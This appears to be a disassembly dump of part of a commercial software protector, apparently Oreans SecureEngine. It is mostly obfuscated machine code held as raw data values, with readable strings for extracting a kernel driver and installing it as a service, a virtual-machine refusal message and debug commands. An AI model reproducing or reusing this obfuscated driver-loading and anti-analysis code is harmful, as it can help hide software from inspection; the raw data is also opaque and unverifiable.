8905E21Ch, 0E232D185h, 2DB5FF05h dd 8B05E226h, 0E21E35B5h, 0ED858D05h, 6A05E239h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0BE4C350h, 7E036562h, 0B58B216Bh, 5E21F05h, 6AD0FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 62E3A0C3h, 0A6DE7A4Dh, 50424068h, 310F5250h, 585AF88Bh dd 66240489h, 0E60CE781h, 6AC88Ah, 0B1B52360h, 0F05E231h dd 686h, 35BD8900h, 6105E20Ch, 243C0868h, 0DE860E0h, 46000000h dd 6C39F45Fh, 0DD7B0844h, 405F3270h, 605AFA8Ah, 8D0FC78Bh dd 0 dd 4816161h, 0DBC47824h, 52006A1Fh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0D8B4C977h, 31259523h dd 36A05E2h, 9589D18Bh, 5E20179h, 46B1006Ah, 8D89036Ah dd 5E21A8Dh, 2C6DBD29h, 4E805E2h, 0 dd 0BFC00000h, 6A1A268Ah, 0FE950h, 0BCA60000h, 1F546308h dd 5601845Ah, 7F269DD8h, 24448B19h, 0DE804h, 70EA0000h dd 0A6CB3AF9h, 7D91F5B3h, 0E9178DF9h, 0Bh, 0F9CA4FE6h dd 0F132DA3Ch, 598485D9h, 0CE8008Bh, 0F7000000h, 731A4D82h dd 45B1E130h, 60814F83h, 70B96160h, 614767CBh, 2444895Ah dd 58C88A04h, 25D1B58Bh, 9D8D05E2h, 5E4B51Bh, 0F0E98166h dd 0E950932Ah, 0Ch, 0ED2EBF16h, 5EB3012Bh, 0C3A7876Fh dd 29D0FF93h, 0E2160585h, 4DB58B05h, 4005E231h, 243850Fh dd 81660000h, 58F8DAE7h, 2FB58D89h, 0E99005E2h, 10h, 5246F5B6h dd 2C1D19h, 669D98FEh, 0FD793CC6h, 0B58B9050h, 5E20B39h dd 8D8B006Ah, 5E232F1h, 0CF0D2E68h, 2434811Dh, 1DCF0DAEh dd 8354E981h, 36A1841h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 4BC35747h, 0F78B4DD5h, 0B533006Ah, 5E21989h dd 0B509036Ah, 5E217CDh, 4E8h, 0 dd 0BF6660C0h, 52507F6Bh, 310F5250h, 310F585Ah, 585A6160h dd 8B665061h, 24448BF2h, 8BD68B04h, 0FE8B6000h, 24448961h dd 0AE904h, 68710000h, 58CD9165h, 36B3F9EBh, 10810F58h dd 0E9000000h, 0Bh, 13AE6C9Bh, 1E889823h, 0F1066BFh, 9D8DF7BFh dd 5E4B524h, 50FFB70Fh, 87B2BDBEh, 241C8950h, 7D858960h dd 8B05E214h, 0D0FF61D1h, 40F9D680h, 14B850Fh, 0BE660000h dd 0F8583449h, 16FD9529h, 0E99005E2h, 8, 2C7E8AC3h, 3A07DADBh dd 8A0F9050h, 4, 72C1BE66h, 0BE8006Ah, 36000000h, 0A815DE1Bh dd 0F3F08240h, 8B66D274h, 4E85ECAh, 80000000h, 0BF000000h dd 5CB6D14Dh, 0F6B96650h, 24448BEBh, 6B8CBE04h, 8B04A7h dd 8830Fh, 8C0F0000h, 2, 4489F78Bh, 0C88B0424h, 258D8B58h dd 6A05E226h, 89006A03h, 0E20889BDh, 6A036A05h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 38DFC351h, 66E2FD9Eh, 8BF6031Dh, 0E213A18Dh, 0F168F805h dd 0B69388C2h, 243481A2h, 5388C2F1h, 9D8DCA8Bh, 5E4B52Fh dd 0E8AFB966h, 0CE850h, 42090000h, 11CB6B38h, 41678D49h dd 0CE9ADF8h, 0FB000000h, 3F3F8BB0h, 9A63143h, 5FBE2763h dd 60241C89h, 0BE9h, 21D6AB00h, 0AFDA7364h, 8D4F3FDBh dd 30618D89h, 0FF6105E2h, 850F40D0h, 3Dh, 858BF960h, 5E22FADh dd 8E95861h, 0BE000000h, 293429E2h, 0E91CB1A6h, 148h, 95895760h dd 5E20141h, 0AE95Eh, 61BC0000h, 8A1EADBBh, 8AD3014Bh dd 0BD8B5361h, 5E23265h, 8AD88B5Ah, 0B3604BD4h, 0D185297Ch dd 6105E204h, 8D89F558h, 5E22D89h, 0A4985C6h, 6A4305E2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 52ECC357h, 0C1DB589h, 4E805E2h, 0A7000000h dd 0BEC0764Ah, 1F38AAEFh, 66525050h, 0F7FBBBAh, 61606031h dd 5A61D18Ah, 24448B58h, 0A4BA6604h, 66008BC4h, 896151BAh dd 66042444h, 58B83FB9h, 5E8h, 0AFCBA900h, 95890702h, 5E20B81h dd 0FDB50B5Fh, 0FF05E22Fh, 0E2262DB5h, 0D2B70F05h, 39ED858Dh dd 6E805E2h, 0F000000h, 22CB86D7h, 1DB5893Eh, 5905E201h dd 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0FFA547C3h, 0AB59D89h, 50F805E2h, 1C89D78Bh dd 0C88B6624h, 8166D0FFh, 8DC419E2h, 0E272199Dh, 81BD8B05h dd 0B805E22Ah, 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0A5C35040h, 153D0438h, 0EA26CE95h, 6A45BE66h, 958BE3FFh dd 5E20ADDh, 0B70FC18Bh, 8BC08BF3h, 0E20C918Dh, 6D8D8B05h dd 8305E20Ch, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h dd 8B535019h, 40FB8C0h, 85890000h, 5E21DD5h, 0B3619D8Dh dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h, 40FB853h dd 85890000h, 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 0B509585Bh dd 5E20C75h, 8BFB8B66h, 0CE8C0h, 23CF0000h, 79776B34h dd 0A6275BB6h, 9D29E7D7h, 5E231B1h, 81CB8A5Eh, 61F2C6h dd 9E900h, 14430000h, 29F122C4h, 68186079h, 0 dd 0CE39B966h, 8529605Fh, 5E21CE9h, 26A4CA81h, 0FF612DE4h dd 52533734h, 1A01B531h, 5A5905E2h, 0DE958h, 2ABC0000h dd 0BFEF6F76h, 5A3E041h, 817A3705h, 0C5A64CF0h, 0C081F518h dd 37E2A73Ah, 814ED680h, 768720C0h, 0CABF0F3Ch, 2B3E0489h dd 0E21D6D8Dh, 831AB605h, 858903EFh, 5E20E31h, 0AE84Fh dd 8F20000h, 0E57777C9h, 38DBDA37h, 9E9h, 8832DB00h, 4A5F5C58h dd 815A5B5Bh, 0FF9EFCFFh, 1C850FFFh, 0F000000h, 31E9D6BFh dd 9000000h, 59C6FDDAh, 82FE842h, 0C3C8A27Ch, 7EC2D139h dd 81E55114h, 9D7D8FF2h, 0FF61E940h, 0C9F8FFFFh, 9A7F9187h dd 0FEAA87FCh, 0F7C78002h, 33C57F02h, 20EE9h, 61433300h dd 746F6E6Eh, 69727720h, 6F206574h, 6E616572h, 78762E73h dd 4D0D0A64h, 20656B61h, 65727573h, 61687420h, 68742074h dd 66207369h, 20656C69h, 6E207369h, 6220746Fh, 676E6965h dd 65737520h, 79622064h, 6F6E6120h, 72656874h, 6F727020h dd 6D617267h, 2Eh, 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) dd 0E9000000h, 0EFh, 0A4985C6h, 684705E2h, 0E3E45B86h dd 262DB5FFh, 858D05E2h, 5E239EDh, 468D0FFh, 8D000001h dd 0E21FFD9Dh, 0D0FF5305h, 32B58D50h, 8B05E4BEh, 0AEC032FEh dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 4985C6A4h dd 4305E20Ah, 8E6EFC68h, 2DB5FFBCh, 8D05E226h, 0E239ED85h dd 8DD0FF05h, 0E21FFDB5h, 68006A05h, 80h, 6A026Ah, 68006Ah dd 56C00000h, 0D88BD0FFh, 0A4985C6h, 685705E2h, 0A69BEE56h dd 262DB5FFh, 858D05E2h, 5E239EDh, 0BD8DD0FFh, 5E21C8Dh dd 0BF588D8Dh, 6A05E4h, 37D06857h, 53510000h, 0C085D0FFh dd 1B850Fh, 0B58D0000h, 5E4BC3Ah, 0ACE6858Dh, 0D0FF05E4h dd 72198D8Dh, 0B805E2h, 0FF000000h, 4985C6E1h, 4305E20Ah dd 764AA768h, 2DB5FFC0h, 8D05E226h, 0E239ED85h, 53D0FF05h dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2 dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h dd 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h dd 58D1475h, 0 dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h dd 4244445Fh, 0E9000000h, 99h, 6775622Fh, 63656863h, 2F00326Bh dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h dd 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 0ADBD8300h, 5E4F7h, 0A840Fh, 85C70000h, 5E21805h, 1 dd 0A4985C6h, 684705E2h, 23913ECEh, 0BF240481h, 0FF6CDC2Dh dd 0E2262DB5h, 0ED858D05h, 0FF05E239h, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0F72DB58Dh, 25E805E4h dd 3000002h, 0E4F7C2BDh, 0C2BD8305h, 5E4F7h, 0B840Fh, 85C70000h dd 5E21EA9h, 1, 38B58DC3h, 0E805E4F7h, 1FCh, 0F7C2BD03h dd 0BD8305E4h, 5E4F7C2h, 0B840F00h, 0C7000000h, 0E2180585h dd 105h, 0B58DC300h, 5E4F7B1h, 1D3E8h, 0C2BD0300h, 8305E4F7h dd 0E4F7C2BDh, 840F0005h, 0Bh, 211985C7h, 105E2h, 8DC30000h dd 0E4F742B5h, 1AAE805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h dd 0F0005E4h, 0B84h, 585C700h, 105E218h, 0C3000000h, 0F74CB58Dh dd 81E805E4h, 3000001h, 0E4F7C2BDh, 0C2BD8305h, 5E4F7h dd 15840Fh, 85C70000h, 5E21805h, 1, 1EA985C7h, 105E2h dd 8DC30000h, 0E4F75AB5h, 14EE805h, 0BD030000h, 5E4F7C2h dd 0F7C2BD83h, 0F0005E4h, 0A84h, 8585C700h, 105E206h, 8D000000h dd 0E4F764B5h, 126E805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h dd 0F0005E4h, 0A84h, 8585C700h, 105E206h, 8D000000h, 0E4F76FB5h dd 0FEE805h, 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h dd 0A84h, 4185C700h, 105E224h, 8D000000h, 0E4F775B5h, 0D6E805h dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h dd 7585C700h, 105E210h, 8D000000h, 0E4F77BB5h, 0AEE805h dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h dd 3D85C700h, 105E21Dh, 8D000000h, 0E4F789B5h, 86E805h dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h dd 0B985C700h, 105E216h, 8D000000h, 0E4F796B5h, 5EE805h dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h dd 1D85C700h, 105E225h, 8D000000h, 0E4F7A1B5h, 36E805h dd 0BD030000h, 5E4F7C2h, 0F7C2BD83h, 0F0005E4h, 0A84h dd 5D85C700h, 105E201h, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h dd 0A85h, 1B900h, 5E90000h, 0B9000000h, 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 5E4F7C2h, 0AE9h, 0C285C700h dd 5E4F7h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh dd 65536C6Fh, 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 4 dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 4 dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 4 dd 0D9h dup(0) a_Oreans_vxd db '\\.\Oreans.vxd',0 align 4 dd 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpr_0 db 'SeShutdownPrivilege',0 align 8 aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 aCreateserviceA db 'CreateService API Error while extraction the driver',0 aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 dd 0 dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0) dd 8BC48B00h, 0E20CD18Dh, 0B1858905h, 6A05E204h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0BEAAC352h, 0C08BF82Bh, 0AE9h, 0CEBD1500h, 9E9E7BEh dd 8390DE5Ch, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h dd 8B535019h, 43DB8C0h, 85890000h, 5E2315Dh, 0B2FA9D8Dh dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h, 43DB853h dd 85890000h, 5E2315Dh, 0AFE99D8Dh, 0D3FF05E4h, 9D31585Bh dd 5E20951h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 1BC35646h, 253F512Eh, 0B818589h, 0C08B05E2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7EC35242h, 8BA6C580h dd 0D68B53C0h, 0A9BD835Fh, 5E21Eh, 0BD830975h, 5E21805h dd 50137400h, 0B8C08B53h, 0 dd 0B19C9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50117400h dd 0B853h, 9D8D0000h, 5E4B04Dh, 585BD3FFh, 5EDBD89h, 0BD8B05E2h dd 5E21DADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 5CC35040h, 929218DFh, 2189958Bh, 0B70F05E2h, 8BC08BC9h dd 0E209E995h, 33C08B05h, 0E216B5BDh, 0A9BD8305h, 5E21Eh dd 0BD830975h, 5E21805h, 50137400h, 0B8C08B53h, 0 dd 0B0CE9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50117400h dd 0B853h, 9D8D0000h, 5E4B01Bh, 585BD3FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 5AC35646h, 0EACC2BFh dd 87AAF611h, 9DBD8B50h, 5A05E21Ch, 13E9C08Bh, 72000000h dd 0B1A3EC54h, 5F6BBCF7h, 68C36983h, 5B165B57h, 0C08B28C7h dd 9E9h, 7F712200h, 535E4FBAh, 0BD83F388h, 5E21EA9h, 83097500h dd 0E21805BDh, 13740005h, 0C08B5350h, 0B8h, 359D8D00h dd 0FF05E4B1h, 83585BD3h, 0E21805BDh, 11740005h, 0B85350h dd 8D000000h, 0E4B0349Dh, 5BD3FF05h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4DE17498h dd 735F9B77h, 0C08B1767h, 6E857h, 5E9F0000h, 9E573523h dd 2435B509h, 5F5F05E2h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 189567C3h, 0A309E648h dd 0A9BD83BCh, 5E21Eh, 0BD830975h, 5E21805h, 50137400h dd 0B8C08B53h, 0 dd 0B0679D8Dh, 0D3FF05E4h, 8952585Bh, 0E21B818Dh, 0B9665F05h dd 0C08B5691h, 35BD8Bh, 0C08B05E2h, 108C0Fh, 0BE90000h dd 97000000h, 55BA6D6Eh, 0D3FCE655h, 0BD839C57h, 5E21EA9h dd 83097500h, 0E21805BDh, 19740005h, 0C08B5350h, 7D0B8h dd 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h dd 5E218h, 53501774h, 7D0B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh dd 5BD3FF05h, 0AFC28058h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0DC35242h, 0CE8B66AAh, 0BD8BC08Bh, 5E21F15h dd 6B0DBA66h, 0A4985C6h, 515305E2h, 8AF78166h, 90685F40h dd 6699395Fh, 0FFAF3FBFh, 0E2262DB5h, 0E8E0F05h, 60000000h dd 1F919533h, 0BD2905E2h, 5E22659h, 0ED858D61h, 6A05E239h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 8305C355h, 720FA68Fh, 6AD0FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0E0493AC3h dd 89DFEEDBh, 0E20B1585h, 2985BA05h, 85C61A21h, 5E20A49h dd 51006A57h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0D5E44906h, 0FD25F7E0h, 4520668h, 0B1858990h dd 0FF05E20Bh, 0E2262DB5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0D22C47EDh dd 0E321CF85h, 21BD89ADh, 8B05E210h, 0ED858DFAh, 8B05E239h dd 0E20D0595h, 29D0FF05h, 0E2199D85h, 9D858905h, 905E218h dd 0E2220D8Dh, 4985C605h, 4305E20Ah, 89D98166h, 70286865h dd 0EA8ABC90h, 262DB5FFh, 0BF0F05E2h, 0ED858DD3h, 6A05E239h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 1FFFC353h, 6F20175Fh, 64AE3769h, 29958D23h dd 0D0FF05E2h, 4EC7C181h, 85895139h, 5E216C5h, 0C880Fh dd 830F0000h, 6, 2281B589h, 0C6FC05E2h, 0E20A4985h, 6A4C05h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 7AC67CC3h, 65442799h, 8B60B3F5h, 0E200ED95h, 0DE8B6605h dd 0FE961h, 0BBE0000h, 0E3F14CCh, 1F4D19E2h, 116E939Dh dd 1CE96856h, 6AD9DAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0AA538C3h, 0EE97A11h, 81000000h dd 33B47A03h, 60C3A14Dh, 0B52EB7C2h, 2DB5FFC6h, 0B505E226h dd 0ED858DFBh, 0F05E239h, 686h, 15958900h, 0FF05E21Fh dd 8D8B51D0h, 5E205EDh, 0F985895Ah, 6A05E216h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 36CCC356h, 21618D09h, 85C605E2h, 5E20A49h, 1830F46h dd 0F9000000h, 0DE061468h, 852B60BAh, 5E204E9h, 149D9D29h dd 0FF6105E2h, 0E2262DB5h, 38C0F05h, 66000000h, 858DD08Bh dd 5E239EDh, 2880Fh, 0FE8B0000h, 830FD0FFh, 1, 5E9F5h dd 944F0000h, 89041542h, 0E2108D85h, 0EA816605h, 85C6EC53h dd 5E20A49h, 11E947h, 0ED420000h, 35B7EF97h, 0F05B2953h dd 441EDF32h, 6834A7E2h, 8A0FB5E2h, 0D058D89h, 0B5FF05E2h dd 5E2262Dh, 8DCAB70Fh, 0E239ED85h, 0FD0FF05h, 684h, 69853100h dd 8905E22Ah, 0E230D585h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 82F49272h dd 0C630309Ch, 0E20A4985h, 0CE94705h, 0B7000000h, 14708F7Dh dd 8010D8F3h, 1D21EC5h, 0E223B19Dh, 0B5F36805h, 890F83D0h dd 0 dd 262DB5FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0A91A63C3h, 6810Fh, 958B0000h, 5E21495h dd 24258D89h, 858D05E2h, 5E239EDh, 0C81BD8Bh, 0D0FF05E2h dd 89FB8B66h, 0E2112D85h, 0E9BD8905h, 0C605E204h, 0E20A4985h dd 6A7705h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0AB5CE4C3h, 1DD19523h, 5E905E2h, 14000000h dd 77FAAFD3h, 0FADF8166h, 0A8A368B5h, 6AF397h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 87E4D3C3h, 0FFB33D82h, 0E2150DB5h, 258D8B05h, 8D05E21Dh dd 0E239ED85h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 4266007h, 0FFEA5113h dd 0FD0FFCAh, 8589FBB7h, 5E22C29h, 14AFD781h, 85C63059h dd 5E20A49h, 0EDBD8B47h, 6805E216h, 8728FAF6h, 10E9h, 0F39DBF00h dd 8C7609F3h, 2F6C0AEEh, 21D045ACh, 2DB5FF1Eh, 6A05E226h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 2397C352h, 84BFA43Ch, 8D7CFF2Ah, 0E239ED85h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 67261554h, 958913D0h, 5E23025h, 8960D0FFh dd 0E201958Dh, 0DE8B6605h, 41858961h, 6A05E20Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 9BD1C352h, 3F5F7721h, 0C63FDAA3h, 0E20A4985h, 0EE804305h dd 7E934h, 46580000h, 0E20C1C1Fh, 6EFC685Fh, 0BD8BBC8Eh dd 5E21115h, 262DB5FFh, 958B05E2h, 5E216D9h, 39ED858Dh dd 0BD8B05E2h, 5E200F1h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 3ACEE1C3h, 6FCE807Ah dd 0C7DDDF81h, 85896E2Fh, 5E22B51h, 160D9509h, 85C605E2h dd 5E20A49h, 0C58D8945h, 6805E21Bh, 8E726969h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 3CC35040h, 0FFCD2D42h dd 0E2262DB5h, 0E9958B05h, 8D05E219h, 0E239ED85h, 0E5958B05h dd 0FF05E222h, 0D8B966D0h, 5858941h, 905E204h, 0E22AF59Dh dd 0CD958B05h, 0C605E221h, 0E20A4985h, 8D8B4405h, 5E2214Dh dd 0F2EC6468h, 61950BB8h, 0FF05E217h, 0E2262DB5h, 31858905h dd 8D05E225h, 0E239ED85h, 0C9806005h, 61C68A33h, 0BA60D0FFh dd 28CE72ACh, 614FE280h, 23E58589h, 0CB8B05E2h, 0A4985C6h dd 0F54305E2h, 764AA768h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9533FCDCh dd 5E21F91h, 262DB5FFh, 0F6005E2h, 682h, 0A5858B00h, 6105E22Ah dd 39ED858Dh, 96005E2h, 0E210E18Dh, 1BD2905h, 6105E211h dd 0B529D0FFh, 5E21385h, 0A598589h, 6A05E2h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 80AEF1C3h dd 0E5072BBDh, 840F0005h, 0F5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 98C35343h, 0E695FDA3h, 8166C8BCh dd 8DB617EFh, 0E5070D85h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F60C553h dd 810FF1B7h, 6, 2231C081h, 0F613571h, 68Fh, 0C9BD8B00h dd 5005E222h, 0EE9h, 38527F00h, 5A81FE9Bh, 795C72D6h, 6A3876DDh dd 6AF501h, 0CE953h, 7A940000h, 6D60143Fh, 0B94136CCh dd 6A5AC3A0h, 0A1BD8900h, 0FF05E20Eh, 0E216C595h, 0FD8D8B05h dd 8905E215h, 0E201A985h, 0DE805h, 0AA70000h, 95F6B21Bh dd 0CFBC3BA1h, 804A6DFEh, 6A593CD9h, 31BD8BFFh, 105E22Bh dd 0E2064DBDh, 0A9B5FF05h, 0F05E201h, 68Ah, 88C78100h dd 0FF1CA9EAh, 0E2189D95h, 68A0F05h, 0B000000h, 0E2179595h dd 81C08B05h, 986DEBC9h, 23F7810Eh, 833E68A9h, 0E21EA9BDh dd 9750005h, 1805BD83h, 740005E2h, 8B535019h, 7D1B8C0h dd 85890000h, 5E2315Dh, 0B2FA9D8Dh, 0D3FF05E4h, 0BD83585Bh dd 5E21805h, 50177400h, 7D1B853h, 85890000h, 5E2315Dh dd 0AFE99D8Dh, 0D3FF05E4h, 0B529585Bh, 5E221C1h, 66D1B70Fh dd 0C08BF88Bh, 6E9h, 0F479A500h, 0C6008B23h, 